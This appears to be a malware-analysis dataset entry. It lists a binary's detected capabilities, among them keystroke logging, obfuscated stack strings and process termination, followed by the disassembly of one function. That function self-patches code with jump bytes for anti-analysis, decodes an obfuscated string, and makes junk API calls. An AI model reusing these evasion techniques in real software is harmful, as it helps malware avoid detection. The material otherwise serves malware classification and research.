Function at 0xaad000
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Create directory
Create pipe
Delete file
Get common file path
Get disk size
Get geographical location
Get graphical window text
Get memory capacity
Log keystrokes via polling
Query service status
Set thread local storage value
Start service
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
mov dword [ebp - 0x10], 0xaadae5
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xaad039
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xaad21d
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xaad0bb
call fcn.0048b472
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xaad07d
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xaad097
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xaad097
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xaad04d
mov byte [ebp - 0x80], 6
mov byte [ebp - 0x7f], 0x6f
mov byte [ebp - 0x7e], 5
mov byte [ebp - 0x7d], 0x6c
mov byte [ebp - 0x7c], 2
mov byte [ebp - 0x7b], 0x73
mov byte [ebp - 0x7a], 3
mov byte [ebp - 0x79], 0x27
mov byte [ebp - 0x78], 8
mov byte [ebp - 0x77], 0x79
mov byte [ebp - 0x76], 9
mov byte [ebp - 0x75], 0x74
mov byte [ebp - 0x74], 4
mov byte [ebp - 0x73], 0x84
mov byte [ebp - 0x72], 0x24
mov byte [ebp - 0x71], 0xdc
mov byte [ebp - 0x70], 0x7c
mov byte [ebp - 0x6f], 0xc2
mov byte [ebp - 0x6e], 0x31
mov byte [ebp - 0x6d], 0xc
mov byte [ebp - 0x6c], 0x34
mov byte [ebp - 0x6b], 3
mov byte [ebp - 0x6a], 0x73
mov byte [ebp - 0x69], 0x7b
mov byte [ebp - 0x68], 0x8b
mov byte [ebp - 0x67], 0x4f
mov byte [ebp - 0x66], 0xd9
mov byte [ebp - 0x65], 0xad
mov byte [ebp - 0x64], 6
mov byte [ebp - 0x63], 0xe9
mov byte [ebp - 0x62], 0x27
mov byte [ebp - 0x61], 0xa8
mov byte [ebp - 0x60], 0xa5
mov byte [ebp - 0x5f], 0xa2
mov byte [ebp - 0x5e], 0x80
mov byte [ebp - 0x5d], 0x56
mov byte [ebp - 0x5c], 0xb7
mov byte [ebp - 0x5b], 0x58
mov byte [ebp - 0x5a], 0xd6
mov byte [ebp - 0x59], 0x2a
mov byte [ebp - 0x58], 0xf2
mov byte [ebp - 0x57], 0xbd
mov byte [ebp - 0x56], 0xa5
mov byte [ebp - 0x55], 6
mov byte [ebp - 0x54], 0xc3
mov byte [ebp - 0x53], 0x59
mov byte [ebp - 0x52], 0xe1
mov byte [ebp - 0x51], 0x5d
mov byte [ebp - 0x50], 0xe3
mov byte [ebp - 0x4f], 0xd3
mov byte [ebp - 0x4e], 7
mov byte [ebp - 0x4d], 0x70
mov byte [ebp - 0x4c], 1
mov byte [ebp - 0x4b], 0x86
mov byte [ebp - 0x4a], 0
mov byte [ebp - 0x49], 0x85
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xaad1ad
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x38
jae 0xaad212
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x80]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xaad1d9
mov dword [ebp - 0x24], 0x24
mov eax, dword [ebp - 8]
add eax, 0x22
mov dword [ebp - 8], eax
jmp 0xaad1a5
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x7f]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xaad201
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xaad1ee
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x80]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xaad1a5
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xaa1aba
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.004076f9
mov ecx, eax
call fcn.00402b6f
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.00402b13
and dword [ebp - 0x1c], 0
jmp 0xaad255
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xaad265
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xaad24e
push 0
push 0x1728
push 0
call dword [sym.imp.GDI32.dll_GetMetaFileBitsEx]
push 0
push 0
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
push 0xf4e
push 0
push 0
push 0
push 0x22bf
push 0
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
push 0
push 0xda0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
push 0x1737
call dword [sym.imp.KERNEL32.dll_ExitProcess]